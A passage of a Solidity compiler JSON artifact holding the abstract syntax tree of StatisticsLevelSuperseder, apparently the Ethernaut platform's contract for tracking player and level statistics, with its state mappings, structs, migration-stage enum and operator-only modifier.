/QmNcuMddqKKwLWiDMCmebs9iGgMmbVFZJVNXCw6pvSZzqW"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/metrics/StatisticsLevelSuperseder.sol","id":57868,"exportedSymbols":{"AddressUpgradeable":[48840],"Context":[48281],"Initializable":[48510],"Ownable":[46700],"StatisticsLevelSuperseder":[57867]},"nodeType":"SourceUnit","src":"32:17798:117","nodes":[{"id":56452,"nodeType":"PragmaDirective","src":"32:23:117","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":56453,"nodeType":"ImportDirective","src":"57:64:117","nodes":[],"absolutePath":"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol","file":"openzeppelin-upgradeable/proxy/utils/Initializable.sol","nameLocation":"-1:-1:-1","scope":57868,"sourceUnit":48511,"symbolAliases":[],"unitAlias":""},{"id":56454,"nodeType":"ImportDirective","src":"122:54:117","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":57868,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":57867,"nodeType":"ContractDefinition","src":"178:17651:117","nodes":[{"id":56458,"nodeType":"VariableDeclaration","src":"236:24:117","nodes":[],"constant":false,"functionSelector":"a7e1acdf","mutability":"mutable","name":"ethernaut","nameLocation":"251:9:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56457,"name":"address","nodeType":"ElementaryTypeName","src":"236:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":56461,"nodeType":"VariableDeclaration","src":"266:24:117","nodes":[],"constant":false,"functionSelector":"f71d96cb","mutability":"mutable","name":"players","nameLocation":"283:7:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[]"},"typeName":{"baseType":{"id":56459,"name":"address","nodeType":"ElementaryTypeName","src":"266:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":56460,"nodeType":"ArrayTypeName","src":"266:9:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"public"},{"id":56464,"nodeType":"VariableDeclaration","src":"296:23:117","nodes":[],"constant":false,"functionSelector":"b2596a67","mutability":"mutable","name":"levels","nameLocation":"313:6:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[]"},"typeName":{"baseType":{"id":56462,"name":"address","nodeType":"ElementaryTypeName","src":"296:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":56463,"nodeType":"ArrayTypeName","src":"296:9:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"public"},{"id":56466,"nodeType":"VariableDeclaration","src":"325:42:117","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfInstancesCreated","nameLocation":"341:26:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56465,"name":"uint256","nodeType":"ElementaryTypeName","src":"325:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"private"},{"id":56468,"nodeType":"VariableDeclaration","src":"373:44:117","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfInstancesCompleted","nameLocation":"389:28:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56467,"name":"uint256","nodeType":"ElementaryTypeName","src":"373:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"private"},{"id":56470,"nodeType":"VariableDeclaration","src":"423:43:117","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfFailedSubmissions","nameLocation":"439:27:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56469,"name":"uint256","nodeType":"ElementaryTypeName","src":"423:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"private"},{"id":56482,"nodeType":"StructDefinition","src":"473:173:117","nodes":[],"canonicalName":"StatisticsLevelSuperseder.LevelInstance","members":[{"constant":false,"id":56472,"mutability":"mutable","name":"instance","nameLocation":"512:8:117","nodeType":"VariableDeclaration","scope":56482,"src":"504:16:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56471,"name":"address","nodeType":"ElementaryTypeName","src":"504:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56474,"mutability":"mutable","name":"isCompleted","nameLocation":"535:11:117","nodeType":"VariableDeclaration","scope":56482,"src":"530:16:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":56473,"name":"bool","nodeType":"ElementaryTypeName","src":"530:4:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":56476,"mutability":"mutable","name":"timeCreated","nameLocation":"564:11:117","nodeType":"VariableDeclaration","scope":56482,"src":"556:19:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56475,"name":"uint256","nodeType":"ElementaryTypeName","src":"556:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":56478,"mutability":"mutable","name":"timeCompleted","nameLocation":"593:13:117","nodeType":"VariableDeclaration","scope":56482,"src":"585:21:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56477,"name":"uint256","nodeType":"ElementaryTypeName","src":"585:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":56481,"mutability":"mutable","name":"timeSubmitted","nameLocation":"626:13:117","nodeType":"VariableDeclaration","scope":56482,"src":"616:23:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":56479,"name":"uint256","nodeType":"ElementaryTypeName","src":"616:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":56480,"nodeType":"ArrayTypeName","src":"616:9:117","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"name":"LevelInstance","nameLocation":"480:13:117","scope":57867,"visibility":"public"},{"id":56489,"nodeType":"StructDefinition","src":"652:146:117","nodes":[],"canonicalName":"StatisticsLevelSuperseder.Level","members":[{"constant":false,"id":56484,"mutability":"mutable","name":"noOfInstancesCreated","nameLocation":"683:20:117","nodeType":"VariableDeclaration","scope":56489,"src":"675:28:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56483,"name":"uint256","nodeType":"ElementaryTypeName","src":"675:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":56486,"mutability":"mutable","name":"noOfInstancesSubmitted_Success","nameLocation":"721:30:117","nodeType":"VariableDeclaration","scope":56489,"src":"713:38:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56485,"name":"uint256","nodeType":"ElementaryTypeName","src":"713:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":56488,"mutability":"mutable","name":"noOfSubmissions_Failed","nameLocation":"769:22:117","nodeType":"VariableDeclaration","scope":56489,"src":"761:30:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56487,"name":"uint256","nodeType":"ElementaryTypeName","src":"761:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"Level","nameLocation":"659:5:117","scope":57867,"visibility":"public"},{"id":56493,"nodeType":"VariableDeclaration","src":"804:69:117","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfLevelsCompletedByPlayer","nameLocation":"840:33:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":56492,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56490,"name":"address","nodeType":"ElementaryTypeName","src":"812:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"804:27:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56491,"name":"uint256","nodeType":"ElementaryTypeName","src":"823:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"private"},{"id":56497,"nodeType":"VariableDeclaration","src":"879:70:117","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfInstancesCreatedByPlayer","nameLocation":"915:34:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":56496,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56494,"name":"address","nodeType":"ElementaryTypeName","src":"887:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"879:27:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56495,"name":"uint256","nodeType":"ElementaryTypeName","src":"898:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"private"},{"id":56501,"nodeType":"VariableDeclaration","src":"955:72:117","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfInstancesCompletedByPlayer","nameLocation":"991:36:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":56500,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56498,"name":"address","nodeType":"ElementaryTypeName","src":"963:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"955:27:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56499,"name":"uint256","nodeType":"ElementaryTypeName","src":"974:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"private"},{"id":56505,"nodeType":"VariableDeclaration","src":"1033:71:117","nodes":[],"constant":false,"mutability":"mutable","name":"globalNoOfFailedSubmissionsByPlayer","nameLocation":"1069:35:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":56504,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56502,"name":"address","nodeType":"ElementaryTypeName","src":"1041:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1033:27:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56503,"name":"uint256","nodeType":"ElementaryTypeName","src":"1052:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"private"},{"id":56510,"nodeType":"VariableDeclaration","src":"1110:44:117","nodes":[],"constant":false,"mutability":"mutable","name":"levelStats","nameLocation":"1144:10:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$56489_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.Level)"},"typeName":{"id":56509,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56506,"name":"address","nodeType":"ElementaryTypeName","src":"1118:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1110:25:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_Level_$56489_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.Level)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56508,"nodeType":"UserDefinedTypeName","pathNode":{"id":56507,"name":"Level","nameLocations":["1129:5:117"],"nodeType":"IdentifierPath","referencedDeclaration":56489,"src":"1129:5:117"},"referencedDeclaration":56489,"src":"1129:5:117","typeDescriptions":{"typeIdentifier":"t_struct$_Level_$56489_storage_ptr","typeString":"struct StatisticsLevelSuperseder.Level"}}},"visibility":"private"},{"id":56516,"nodeType":"VariableDeclaration","src":"1160:86:117","nodes":[],"constant":false,"mutability":"mutable","name":"levelFirstInstanceCreationTime","nameLocation":"1216:30:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"},"typeName":{"id":56515,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56511,"name":"address","nodeType":"ElementaryTypeName","src":"1168:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1160:47:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56514,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56512,"name":"address","nodeType":"ElementaryTypeName","src":"1187:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1179:27:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56513,"name":"uint256","nodeType":"ElementaryTypeName","src":"1198:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}}},"visibility":"private"},{"id":56522,"nodeType":"VariableDeclaration","src":"1252:80:117","nodes":[],"constant":false,"mutability":"mutable","name":"levelFirstCompletionTime","nameLocation":"1308:24:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"},"typeName":{"id":56521,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56517,"name":"address","nodeType":"ElementaryTypeName","src":"1260:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1252:47:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56520,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56518,"name":"address","nodeType":"ElementaryTypeName","src":"1279:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1271:27:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56519,"name":"uint256","nodeType":"ElementaryTypeName","src":"1290:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}}},"visibility":"private"},{"id":56529,"nodeType":"VariableDeclaration","src":"1338:73:117","nodes":[],"constant":false,"mutability":"mutable","name":"playerStats","nameLocation":"1400:11:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance))"},"typeName":{"id":56528,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56523,"name":"address","nodeType":"ElementaryTypeName","src":"1346:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1338:53:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$_$","typeString":"mapping(address => mapping(address => struct StatisticsLevelSuperseder.LevelInstance))"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56527,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56524,"name":"address","nodeType":"ElementaryTypeName","src":"1365:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1357:33:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$56482_storage_$","typeString":"mapping(address => struct StatisticsLevelSuperseder.LevelInstance)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56526,"nodeType":"UserDefinedTypeName","pathNode":{"id":56525,"name":"LevelInstance","nameLocations":["1376:13:117"],"nodeType":"IdentifierPath","referencedDeclaration":56482,"src":"1376:13:117"},"referencedDeclaration":56482,"src":"1376:13:117","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$56482_storage_ptr","typeString":"struct StatisticsLevelSuperseder.LevelInstance"}}}},"visibility":"private"},{"id":56533,"nodeType":"VariableDeclaration","src":"1417:45:117","nodes":[],"constant":false,"mutability":"mutable","name":"playerExists","nameLocation":"1450:12:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"typeName":{"id":56532,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56530,"name":"address","nodeType":"ElementaryTypeName","src":"1425:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1417:24:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56531,"name":"bool","nodeType":"ElementaryTypeName","src":"1436:4:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}},"visibility":"private"},{"id":56537,"nodeType":"VariableDeclaration","src":"1468:44:117","nodes":[],"constant":false,"mutability":"mutable","name":"levelExists","nameLocation":"1501:11:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"typeName":{"id":56536,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56534,"name":"address","nodeType":"ElementaryTypeName","src":"1476:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1468:24:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_bool_$","typeString":"mapping(address => bool)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56535,"name":"bool","nodeType":"ElementaryTypeName","src":"1487:4:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}},"visibility":"private"},{"id":56541,"nodeType":"VariableDeclaration","src":"1518:68:117","nodes":[],"constant":false,"mutability":"mutable","name":"averageTimeTakenToCompleteLevels","nameLocation":"1554:32:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"typeName":{"id":56540,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":56538,"name":"address","nodeType":"ElementaryTypeName","src":"1526:7:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"1518:27:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":56539,"name":"uint256","nodeType":"ElementaryTypeName","src":"1537:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}},"visibility":"private"},{"id":56543,"nodeType":"VariableDeclaration","src":"1636:18:117","nodes":[],"constant":false,"mutability":"mutable","name":"onMaintenance","nameLocation":"1641:13:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":56542,"name":"bool","nodeType":"ElementaryTypeName","src":"1636:4:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"id":56545,"nodeType":"VariableDeclaration","src":"1660:30:117","nodes":[],"constant":false,"functionSelector":"e635b4d2","mutability":"mutable","name":"usersArrayIndex","nameLocation":"1675:15:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56544,"name":"uint256","nodeType":"ElementaryTypeName","src":"1660:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"public"},{"id":56547,"nodeType":"VariableDeclaration","src":"1696:38:117","nodes":[],"constant":false,"functionSelector":"a8e41777","mutability":"mutable","name":"oldLevelContractAddress","nameLocation":"1711:23:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56546,"name":"address","nodeType":"ElementaryTypeName","src":"1696:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":56549,"nodeType":"VariableDeclaration","src":"1740:38:117","nodes":[],"constant":false,"functionSelector":"eac4cae0","mutability":"mutable","name":"newLevelContractAddress","nameLocation":"1755:23:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56548,"name":"address","nodeType":"ElementaryTypeName","src":"1740:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":56551,"nodeType":"VariableDeclaration","src":"1784:23:117","nodes":[],"constant":false,"functionSelector":"570ca735","mutability":"mutable","name":"operator","nameLocation":"1799:8:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56550,"name":"address","nodeType":"ElementaryTypeName","src":"1784:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":56560,"nodeType":"EnumDefinition","src":"1814:244:117","nodes":[],"canonicalName":"StatisticsLevelSuperseder.DumpStage","members":[{"id":56552,"name":"INIT","nameLocation":"1839:4:117","nodeType":"EnumValue","src":"1839:4:117"},{"id":56553,"name":"SET_ADDRESSES","nameLocation":"1853:13:117","nodeType":"EnumValue","src":"1853:13:117"},{"id":56554,"name":"LEVEL_FIRST_INSTANCE_CREATION_TIME","nameLocation":"1876:34:117","nodeType":"EnumValue","src":"1876:34:117"},{"id":56555,"name":"LEVEL_FIRST_COMPLETION_TIME","nameLocation":"1920:27:117","nodeType":"EnumValue","src":"1920:27:117"},{"id":56556,"name":"PLAYER_STATS","nameLocation":"1957:12:117","nodeType":"EnumValue","src":"1957:12:117"},{"id":56557,"name":"LEVEL_STATS","nameLocation":"1979:11:117","nodeType":"EnumValue","src":"1979:11:117"},{"id":56558,"name":"LEVEL_EXISTS_AND_LEVELS_ARRAY_FIX","nameLocation":"2000:33:117","nodeType":"EnumValue","src":"2000:33:117"},{"id":56559,"name":"DUMP_DONE","nameLocation":"2043:9:117","nodeType":"EnumValue","src":"2043:9:117"}],"name":"DumpStage","nameLocation":"1819:9:117"},{"id":56563,"nodeType":"VariableDeclaration","src":"2064:26:117","nodes":[],"constant":false,"functionSelector":"d8043a09","mutability":"mutable","name":"dumpStage","nameLocation":"2081:9:117","scope":57867,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"},"typeName":{"id":56562,"nodeType":"UserDefinedTypeName","pathNode":{"id":56561,"name":"DumpStage","nameLocations":["2064:9:117"],"nodeType":"IdentifierPath","referencedDeclaration":56560,"src":"2064:9:117"},"referencedDeclaration":56560,"src":"2064:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"visibility":"public"},{"id":56575,"nodeType":"ModifierDefinition","src":"2097:131:117","nodes":[],"body":{"id":56574,"nodeType":"Block","src":"2121:107:117","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":56569,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":56566,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2139:3:117","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":56567,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2143:6:117","memberName":"sender","nodeType":"MemberAccess","src":"2139:10:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":56568,"name":"operator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56551,"src":"2153:8:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2139:22:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4f6e6c79206f70657261746f72206163636f756e742063616e2063616c6c20746869732066756e6374696f6e","id":56570,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2163:46:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_9f5abae67120f6cb7495469030181af4dbfcdaccec4b7fc64046f1a53e0f8e3b","typeString":"literal_string \"Only operator account can call this function\""},"value":"Only operator account can call this function"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_9f5abae67120f6cb7495469030181af4dbfcdaccec4b7fc64046f1a53e0f8e3b","typeString":"literal_string \"Only operator account can call this function\""}],"id":56565,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2131:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":56571,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2131:79:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":56572,"nodeType":"ExpressionStatement","src":"2131:79:117"},{"id":56573,"nodeType":"PlaceholderStatement","src":"2220:1:117"}]},"name":"onlyOperator","nameLocation":"2106:12:117","parameters":{"id":56564,"nodeType":"ParameterList","parameters":[],"src":"2118:2:117"},"virtual":false,"visibility":"internal"},{"id":56583,"nodeType":"EventDefinition","src":"2234:141:117","nodes":[],"anonymous":false,"eventSelector":"18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c67551","name":"playerScoreProfile","nameLocation":"2240:18:117","parameters":{"id":56582,"nodeType":"ParameterList","parameters":[{"constant":false,"id":56577,"indexed":true,"mutability":"mutable","name":"player","nameLocation":"2284:6:117","nodeType":"VariableDeclaration","scope":56583,"src":"2268:22:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":56576,"name":"address","nodeType":"ElementaryTypeName","src":"2268:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":56579,"indexed":true,"mutability":"mutable","name":"averageCompletionTime","nameLocation":"2308:21:117","nodeType":"VariableDeclaration","scope":56583,"src":"2292:37:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56578,"name":"uint256","nodeType":"ElementaryTypeName","src":"2292:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":56581,"indexed":true,"mutability":"mutable","name":"globalLevelsCompleted","nameLocation":"2347:21:117","nodeType":"VariableDeclaration","scope":56583,"src":"2331:37:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":56580,"name":"uint256","nodeType":"El